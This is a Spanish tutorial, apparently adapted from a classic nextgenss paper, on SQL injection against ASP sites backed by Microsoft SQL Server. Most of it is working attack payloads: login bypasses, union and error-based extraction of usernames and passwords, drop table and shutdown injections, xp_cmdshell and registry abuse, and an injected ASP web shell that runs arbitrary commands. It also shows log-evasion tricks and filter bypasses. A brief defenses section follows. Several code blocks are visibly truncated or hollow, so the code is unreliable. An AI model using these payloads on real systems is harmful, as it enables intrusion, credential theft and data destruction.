Documente Academic
Documente Profesional
Documente Cultură
Internet Information Server/Active Server Pages. Se intentara ver mas de una manera de
hacer SQL y no la tipica de ' OR ''=' ademas de tambien intentar evitar que nosotros
semaos los afectados.
La idea original de este tutorial salio de nextgenss un usuario ingles que actualmente
creo anda retirado y yo intentare seguir con sus explicaciones aunque no se me da
extremadamente bien eso de escribir pero si lo de contestara en cualquier momento
INTRODUCCION
SQL (Structured Query Language) es un lenguaje de texto utilizado para interactuar con
bases de datos relacionales.
Existen varios tipos (normalmente son SQL-92 que es el standard ASCI mas reciente)
La unidad fundamental de ejecución en SQL es la consulta, la cual es una serie de
sentencias que básicamente devuelven un unuico resultado. Las sentencias SQL pueden
modificar la estucctura de la base de datos (usando DML "Data Manipulation
Lenguaje").
Bueno para acabar esta pequeña intro solo me queda por decir que estaremos usando
Trnsact-SQL (el dialecto de SQL de los servidores de Microsoft SQL)
Código: [Seleccionar]
select id, nombre, nick from users where nombre = 'mauro'
and nick = 'mrobles'
Algo importante es que las cadenas 'Mauro' y 'Mrobles' aparecen entre comillas dado
que son cadenas literales. Supongamos que el 'nombre' y el 'nick' son obtenidos como
respuesta a la entrada de datos por parte del usuario, un atacante podria inyectar un
codigo SQL en esa conslta y solicitar los siguientes valores:
Código: [Seleccionar]
Nombre: mau'ro
Nick: mrobles
Código: [Seleccionar]
select id, nombre, nick from users where nombre = 'mau'ro' and
nick = 'mrobles';
Código: [Seleccionar]
Server: Msg 170, Level 15, State 1, Line 1
Line 1: Incorrect syntax near 'ro'.
Es muy facil saber porque sucede esto, al insertar un único caracter de comilla simple
los datos delimitadores escapan (al poner un solo ' no se acaba el codigo correctamente).
Entonces se intentara ejecutar 'ro' y se obtiene el error.
Si el atacante introduce una cadena similar a esta:
Código: [Seleccionar]
Nombre: jo' ; drop table users--
Apellido:
Ilustraremos todos estos detalles utilizando para ello una página de login de ejemplo
desarrollada en ASP, la cual accederá a una base de datos SQL simulando el mecanismo
de autentificación de una aplicación ficticia.
Este será el código del formulario de la página, en el cual el cliente deberá introducir el
nombre de usuario y la contraseña: (El code es de nextgenss)
Código: [Seleccionar]
<HTML>
<HEAD>
<TITLE>Página de Login</TITLE>
</HEAD>
<CENTER><H1>Login</H1>
</FONT>
</BODY>
</HTML>
Código: [Seleccionar]
<HTML>
<BODY bgcolor='000000' text='ffffff'>
<FONT Face='tahoma' color='ffffff'>
<STYLE>
p { font-size=20pt ! important}
font { font-size=20pt ! important}
h1 { font-size=64pt ! important}
</STYLE>
<%@LANGUAGE = JScript %>
<%
function Login( cn )
{
var username;
var password;
username = Request.form("usuario");
password = Request.form("password");
rso.open( sql, cn );
if (rso.EOF)
{
rso.close();
%>
<FONT Face='tahoma' color='cc0000'>
<H1>
<BR><BR>
<CENTER>ACESO DENEGADO</CENTER>
</H1>
</BODY>
</HTML>
<%
Response.end return;
}
else
{
Session("usuario") = "" + rso("usuario");
%>
<FONT Face='tahoma' color='00cc00'>
<H1>
<CENTER>ACESO PERMITIDO
<BR>
<BR>
Bienvenido,
<%
Response.write(rso("Usuario"));
Response.write( "</BODY></HTML>" );
Response.end
}
}
function Main()
{
//Set up connection
var usuario
var cn = Server.createobject( "ADODB.Connection" );
cn.connectiontimeout = 20;
cn.open( "localserver", "sa", "password" );
cn.close();
}
Main();
%>
Código: [Seleccionar]
Usuario: ' ; drop table usuarios--
Password:
Código: [Seleccionar]
Usuario: admin' --
Código: [Seleccionar]
Usuario: ' or 1 = 1--
Y lo mas divertido es que tambien se podra logear como un usuario inexistente con la
siguente consulta:
Código: [Seleccionar]
Usuario: ' union select 1, 'USUARIOINVENTADO', 'CUALQUIER CONTRASEÑA',
1--
Esto funciona debido a que la fila 'constante' que el atacante está especificando que será
parte del registro recuperado de la base de datos.
Con el objetivo de manipular los datos de una base de datos el atacante deberá primero
determinar la estructura de determinadas tablas y bases de datos. Por ejemplo, la tabla
'usuarios' podría haber sido creada utilizando el siguiente comando:
Código: [Seleccionar]
create table usuarios{
id int,
usuario varchar(255),
password varchar(255),
privs int
}
y se habrían introducido los siguientes usuarios:
Código: [Seleccionar]
insert into usuarios values (0, 'admin', 'r00tr0x!', 0xffff);
insert into usuarios values (0, 'guest', 'guest', 0x0000);
insert into usuarios values (0, 'chris', 'password', 0x00f);
insert into usuarios values (0, 'fred', 'sesamo', 0x00f);
Imaginemos que nuestro atacante desea crearse una cuenta de usuario. Sin conocer la
estructura de la tabla 'usuarios' es bastante improbable que lo consiga. Aún teniendo
suerte, el significado del campo 'privs' no está del todo claro. El atacante podría insertar
un '1' y obtener una cuenta con escasos privilegios en la aplicación cuando lo que quería
era facilitarse el acceso con privilegios administrativos.
(El siguiente ejemplo utiliza la base de datos y los scripts .asp de ejemplo para mostrar
como funciona esta técnica).
Primero, el atacante querrá determinar los nombres de las tablas utilizadas en las
consultas y los nombres de los campos. Para hacerlo el atacante utilizará la clausula
'having' de la sentencia 'select':
Código: [Seleccionar]
Usuario: ' having 1= 1--
Código: [Seleccionar]
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
/process_login.asp, line 35
Código: [Seleccionar]
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
/process_login.asp, line 35
Código: [Seleccionar]
' group by usuarios.id, usuarios.usuario, usuarios.password,
usuarios.privs
having 1=1--
Ahora el atacante conoce que la consulta está utilizando únicamente la tabla 'usuarios' y
las columnas 'id, usuario, password, privs', en este orden.
Sería útil si pudiese determinar el tipo de cada una de las columnas. Esto podrá
obtenerse utilizando un mensaje de error provocado por una 'conversión de tipo', con
algo parecido a esto:
Código: [Seleccionar]
Usuario: ' union select sum(usuario) from usuarios--
Código: [Seleccionar]
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
/process_login.asp, line 35
Que nos indica que el campo 'usuario' es de tipo 'varchar'. Si, por otra parte, intentamos
calcular la suma de un tipo numérico obtendríamos un mensaje de error indicando que
el número de campos de las dos filas no coincide:
Código: [Seleccionar]
Usuario: ' union select sum(id) from usuarios--
/process_login.asp, line 35
Podremos utilizar esta técnica para determinar de forma aproximada el tipo de cualquier
columna de cualquier tabla de la base de datos:
Esto permitirá al atacante crear una consulta 'insert' correcta, similar a la siguiente:
Código: [Seleccionar]
usuario: '; insert into usuarios values (666, 'atacante', 'foobar',
0xffff)--
Sin embargo, el potencial de esta técnica no acaba aquí. El atacante podrá aprovecharse
de cualquier mensaje de error que revele información sobre el entorno de la base de
datos. Puede obtenerse una lista de las cadenas de formato correspondientes a los
mensajes de error ejecutando:
Código: [Seleccionar]
select * from master..sysmessages
Un mensaje especial muy útil revela la conversión de tipo. Si usted intenta convertir una
cadena en un entero el contenido completo de la cadena es devuelto en el mensaje de
error. En nuestra página de login de ejemplo el siguiente nombre de usuario devolverá
la versión del servidor SQL y el sistema operativo en el cual se está ejecutando:
Código: [Seleccionar]
Usuario: ' union select @@version,1,1,1--
/process_login.asp, line 35
Esto intentará convertir la constante '@@version' en un entero dado que la primera
columna de la tabla 'usuarios' es un entero.
Esta técnica puede utilizarse para leer cualquier valor en cualquier tabla de la base de
datos. Dado que el atacante está interesado en los usuarios y sus contraseñas podrá
utilizarla para obtener los nombres de usuarios de la tabla 'usuarios' con algo como:
Código: [Seleccionar]
Usuario: ' union select min(usuario),1,1,1 from usuarios where usuario
> 'a'--
/process_login.asp, line 35
En este momento el atacante sabe que existe una cuenta 'admin'. Ahora podrá iterar a
través de las filas de la tabla utilizando cada nuevo usario que descubra en la clausula
'where':
Código: [Seleccionar]
usuario: ' union select min(usuario),1,1,1 from usuarios where usuario
> 'admin'--
/process_login.asp, line 35
Una vez el atacante conozca los nombres de usuario podrá empezar a obtener sus
contraseñas:
Código: [Seleccionar]
Usuario: ' union select password,1,1,1 from usuarios where usuario =
'admin'--
/process_login.asp, line 35
Una técnica más elegante consiste en concatenar todos los nombres de usuario y
contraseñas en una única cadena e intentar entonces convertirla en un entero. Esto se
aprovecha de otra característica: las sentencias Transact-SQL pueden introducirse en
una misma línea sin por ello alterar su significado. El siguiente script concatenará los
valores:
Código: [Seleccionar]
begin declare @ret varchar(8000)
set @ret=':'
select @ret = @ret+' '+usuario+'/'+password from usuarios where
usuario > @ret
select @ret as ret into foo
end
Código: [Seleccionar]
Usuario: '; begin declare @ret varchar(8000) set @ret = ':' select
@ret = @ret+' '+usuario+'/'+password from usuarios where usuario >
@ret
select @ret as ret into foo end--
Esto creará una tabla 'foo' la cual contendrá una única columna 'ret' y situará nuestra
cadena en ella. Normalmente aunque se trate de un usuario con escasos privilegios será
capaz de crear una tabla en una base de datos de ejemplo, o en una tabla temporal.
Código: [Seleccionar]
Usuario: ' union select ret,1,1,1 from foo--
/process_login.asp, line 35
Estos ejemplos apenas muestran un ínfima parte de las posibilidades de esta técnica. No
hay ni que mencionar que, si el atacante puede obtener información útil de los mensajes
de error de la base de datos, su trabajo sera obviamente más sencillo.
6. Utilizando la sentencia 'bulk insert' para leer cualquier archivo del servidor.
Estas son las más comunes, aunque existen otras y es muy posible que un intruso las
utilice.
Esta es una coleccion de ataques obvios contra un servidor SQL y ahora os detallo una a
una toda la lista.
xp_cmdshell
Los procedimientos estan almacenados en DLLs (Dinamic Link Libraries) que el
servidor SQL utiliza mediante llamadas específicas para ejecutar funciones exportadas.
Asi las aplicaciones del servidor SQL puede usar la potencia de C/C++. Un gran
número de estos procedimientos almacenados los proporciona el propio servidor SQL y
realizan funciones variadas como enviar correos e interactuar con el registro.
proporcionará una lista de todos los usuarios del sistema. Dado que el servidor se
ejecuta normalmente bajo la cuenta de 'local system', o usuario del dominio' un atacante
podrá obtener un gran provecho de esta caracterástica.
xp_regread
Otro conjunto de procedimientos almacenados incorporados al servidor son las
funciones xp_reg
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
Código: [Seleccionar]
exec xp_regread HKEY_LOCAL_MACHINE,
'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters',
'nullsessionshares'
Es fácil imaginar como un atacante podría utilizar estas funciones para leer la SAM,
cambiar la configuración de un servicio del sistema de forma que se inicie la proxima
vez que la máquina sea reiniciada o ejecutar un comando arbitrario cuando algún
usuario se autentifique en el servidor.
He aquí una breve lista de otros procedimientos almacenados que podrían resultar de
utilidad:
Una vez se haya subido la DLL a una máquina a la que el servidor SQL pueda acceder -
no tiene necesariamente que ser el propio servidor SQL - el atacante podrá agregar el
nuevo procedimiento utilizando el siguiente
comando (en este caso nuestro procedimiento malicioso consiste en un pequeño troyano
que exportará los sistemas de ficheros a través de un servidor web):
Código: [Seleccionar]
sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll'
Código: [Seleccionar]
exec xp_webserver
Código: [Seleccionar]
create table foo( line varchar(8000) )
...y ejecutar entonces un bulk insert para importar los datos desde el archivo:
Código: [Seleccionar]
bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp'
...podrán obtenerse los datos utilizando cualquiera de las técnicas de mensajes de error
desarrolladas anteriormente, o mediante una 'union' de sentencias select, combinando el
contenido del fichero de texto con los datos que son devueltos de forma habitual por la
aplicación. Esto puede resultar útil para obtener el código de los scripts almacenados en
el servidor de la base de datos o, posiblemente, para obtener el código de las páginas
ASP.
Dado que bcp accede a la base de datos desde fuera del proceso del servidor SQl
necesita autentificación. Esto no resultará dificil dado que el atacante podrá crearse uno
sin dificultad, o aprovecharse del modelo de seguridad 'integrado' si el servidor lo
tuviera configurado.
Código: [Seleccionar]
bcp "SELECT * FROM test..fo" queryout
C:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar
1)En este ejemplo utiliza el objeto 'wscript.shell' para crear una instancia del notepad
(que por supuesto podría sustituirse por cualquier otro comando):
Código: [Seleccionar]
-- wscript.shell example
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
Código: [Seleccionar]
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1
exec @ret = sp_oamethod @f, 'readline', @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, 'readline', @line out
end
3)En este ejemplo se crea un script ASP que puede ejecutar cualquier comando que
reciba a través de la cadena de consulta:
Código: [Seleccionar]
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out,
'c:\inetpub\wwwroot\foo.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,
'<% set o = server.createobject("wscript.shell"): o.run(
request.querystring("cmd") ) %>'
4) En este ejemplo (algo poco útil) se muestra la flexibilidad de esta técnica; se utiliza el
objeto 'speech.voicetext' provocando que el servidor SQL hable:
Código: [Seleccionar]
declare @o int, @ret int
exec sp_oacreate 'speech.voicetext', @o out
exec sp_oamethod @o, 'register', NULL, 'foo', 'bar'
exec sp_oasetproperty @o, 'speed', 150
exec sp_oamethod @o, 'speak', NULL, 'todos tus servidores
nos pertenecen', 528
waitfor delay '00:00:05'
Código: [Seleccionar]
Usuario: admin'; declare @o int, @ret int exec sp_oacreate
'speech.voicetext', @o out
exec sp_oamethod @o, 'register', NULL, 'foo', 'bar' exec
sp_oasetproperty @o, 'speed'
150 exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are
belong to us', 528
waitfor delay '00:00:05'--
Procedimientos almacenados
La creencia general es que si una aplicación ASP utiliza procedimientos almacenados
en la base de datos entonces la inyección SQL no es posible. Esto es una verdad a
medias y dependerá de la forma en la que el script ASP llame a dichos procedimientos.
Si el script ASP crea la cadena de consulta que es enviada al servidor SQL este es
vulnerable a la inyección SQL aúnque se utilicen procedimientos almacenados.
Obviamente la mejor solución pasa siempre por validar los datos proporcionados por el
usuario, dado que diariamente se descubren nuevas técnicas.
Código: [Seleccionar]
sp_who '1'; select * from sysobjects
De una u otra form la consulta anexada seguirá ejecutándose después del procedimiento
almacenado.
Admitámoslo, esto prevendrá la mayoría de los ataques que hemos expuesto hasta el
momento con nuestro sitio de ejemplo. Sin embargo en grandes aplicaciones es fácil
suponer que en algún momento se deberá proporcionar datos de tipo numérico. Estos
valores no precisan delimitadores y estarían proporcionando un punto en el que el
atacante podría inyectar código SQL.
Si el atacante quisiera crear una cadena sin utilizar comillas podría utilizar la función
char. Por ejemplo:
Código: [Seleccionar]
insert into users values( 666,
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
0xffff)
...esta es una consulta que sin utilizar comillas permitiría insertar cadenas en una tabla.
Código: [Seleccionar]
insert into users values( 667, 123, 123, 0xffff)
Dado que el servidor SQL convertirá de forma automática los enteros en valores
'varchar' el tipo de conversión es implícita.
Código: [Seleccionar]
usuario: admin'--
Password: password
Código: [Seleccionar]
insert into users values( 123, 'admin''--', 'password', 0xffff )
Código: [Seleccionar]
usuario = escape( Request.form("usuario") );
oldpassword = escape( Request.form("oldpassword") );
newpassword = escape( Request.form("newpassword") );
var sql = "select * from usuarios where usuario = '" + usuario + "'
and
password = '" + oldpassword + "'";
rso.open( sql, cn );
if (rso.EOF)
{
O'Brien
Este tipo de ataques es incluso posible si el atacante puede introducir datos en el sistema
sin necesidad de utilizar la aplicación; la aplicación tal vez tenga una interfaz para
manejar el correo eléctronico, o quizás un archivo de registro de errores sobre el que el
atacante pueda ejercer algun tipo de control. Es mejor verificar todos los datos,
incluyendo los datos que esten en el sistema - la función que realice la validación debe
ser simple de utilizar, por ejemplo
Código: [Seleccionar]
if ( not isValid( "email", request.querystring("email") ) then
response.end
Código: [Seleccionar]
Usuario: ';shutdown--
Código: [Seleccionar]
drop table <nombretabla>
Otro problema inherente a la limitación del tamaño de los datos sucede cuando dicha
limitación es aplicada después de que la cadena haya sido escapada. Si el nombre de
usuario está limitado a (por ejemplo) 16 carácteres igual que la contraseña, la siguiente
combinación de usuario/contraseña seguirá ejecutando el comando 'shutdown'
mencionado anteriormente:
Código: [Seleccionar]
Usuario: aaaaaaaaaaaaaaa'
Password: '; shutdown--
La razón es debido a que la aplicación intentará escapar la comilla del final del nombre
de usuario, pero la cadena es entonces reducida a 16 carácteres, elmininando el carácter
de escape de la comilla. El resultado final es que el campo de la contraseña aún puede
contener algo de SQL si comienza con una comilla simple, la cadena finalmente
quedaría así
Código: [Seleccionar]
select * from users where username='aaaaaaaaaaaaaaa'' and
password=''';
shutdown--
Código: [Seleccionar]
aaaaaaaaaaaaaaa' and password='
Código: [Seleccionar]
sp_password
Código: [Seleccionar]
-- 'sp_password' was found in the text of this event.
-- The text has been replaced with this comment for security reasons.
Este comportamiento se dará en todos los registros T-SQL, siempre que 'sp_password'
se incluya en el comentario. Esto es debido a que se intentará ocultar todas las
contraseñas en texto claro que sean utilizadas con 'sp_password', pero resulta
tremendamente útil desde la perspectiva de un atacante.
Por ello, para ocultar la inyección de código SQL al atacante le bastará con anexar
sp_password despues de los carácteres de comentario, en la forma:
Código: [Seleccionar]
Usuario: admin'--sp_password
[Defensas]
Esta sección introduce algunas de las posibles defensas frente a este tipo de ataques. Se
discute la validación de la entrada de datos y se proporciona algo de código,
mencionando a continuación los entresijos del bloqueo de servidores SQL.
[Validación de la entrada]
La validación de la entrada puede ser una compleja solución. Típicamente se le presta
escasa atención durante el desarrollo de un nuevo proyecto dado que tiende a formar
parte de la mayoría de situaciones causantes de error, en los que este problema resultará
de dificil solución. La validación de la entrada de datos no proporcionará ninguna
funcionalidad a la aplicación y se suele obviar frente a las fechas tope impuestas para la
entrega de la misma.
La segunda solución padece de los mismos defectos que la primera; los considerados
como datos no válidos cambiarán a los largo del tiempo, debido al descubrimiento de
nuevas técnicas de ataque.
La tercera solución es probablemente la mejor de las tres, pero puede resultar dificil de
implementar.
Quentin Bassington-Bassington
Podríamos considerar el carácter guión como parte de una entrada válida pero sabemos
también el significado que tiene en SQL la secuencia '--'.
Otro problema deriva del hecho de combinar la modificación de los datos con la
validación de las secuencias de carácteres - por ejmplo si aplicamos un filtro que detecte
la secuencia '--', 'select' y 'union' seguido de un filtro de modificación de estos datos de
forma que se escapen las comillas simples el atacante podría utilizar una entrada similar
a la siguiente:
Código: [Seleccionar]
uni'on sel'ect @@version-'-
Dado que el carácter de comilla simple será eliminado después de aplicar el filtro el
atacante podría simplemente utilizarlo para evadir la detección de las cadenas no
permitidas.
Código: [Seleccionar]
function escape( input )
input = replace(input, "'", "''")
escape = input
end function
Código: [Seleccionar]
function validate_string( input )
validate_string = true
end function
Código: [Seleccionar]
function validatepassword( input )
good_password_chars =
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
validatepassword = true
end function
a. Crear cuentas poco privilegiadas para ser utilizadas por las aplicaciones
b. Eliminar las cuentas innecesarias
c. Asegurarse de que todas las cuentas tienen establecidas fuertes contraseñas; ejecutar
un script para auditar las contraseñas del servidor (como el que se proporciona en el
apéndice de este paper)
a. La cuenta que utilice la aplicación para acceder a la base de datos debería tener los
mínimos permisos necesarios para acceder a los objetos que necesite utilizar.
a. Existen varios buffer overflow [3], [4] y ataques de cadenas de formato [5] que se
pueden ejecutar contra el servidor SQL (la mayoría de ellos descubiertos por el autor)
así como otras características que deberían parchearse. Es muy probable que aparezcan
más.
6. Verfique los registros de acceso y que está siendo registrado
[Referencias]
[1] Web Application Disassembly with ODBC Error Messages, David Litchfield
http://www.nextgenss.com/papers/webappdis.doc
Apéndice A - 'SQLCrack'
Este script para descifrar las contraseñas (escrito por el autor) requiere acceso a la
columna 'password' de la tabla master..sysxlogins y por consiguiente muy dificil que sea
ejecutado por un atacante. Es, sin embargo, una herramienta extremadamente útil para
aquellos administradores que deseen comprobar la calidad de las contraseñas
utilizadas en sus bases de datos.
Para utilizar este script deberá sustituir la ruta del archivo de diccionario indicada en la
sentencia 'bulk insert'. Pueden encontrarse infinidad de estos archivos en la web; no se
proporciona uno adecuado aquí, pero servirá como un pequeño ejemplo (el archivo
deberá guardarse como un archivo de texto MS-DOS con los carácters <CR><LF>
como indicadores del final de línea). El script también detectará las cuentas 'joe' -
aquellas
cuentas que utilizan la misma contraseña que su nombre de usuario - y las cuentas que
tengan la contraseña en blanco.
Código: [Seleccionar]
password
sqlserver
sql
admin
sesame
sa
guest
Y aquí el script (sqlcrack.sql):
Código: [Seleccionar]
create table tempdb..passwords( pwd varchar(255) )
---
Saludos y espero os guste (no obstante recomiendo leer el documento original, quien
sabe las burradas que puedo haberme inventado )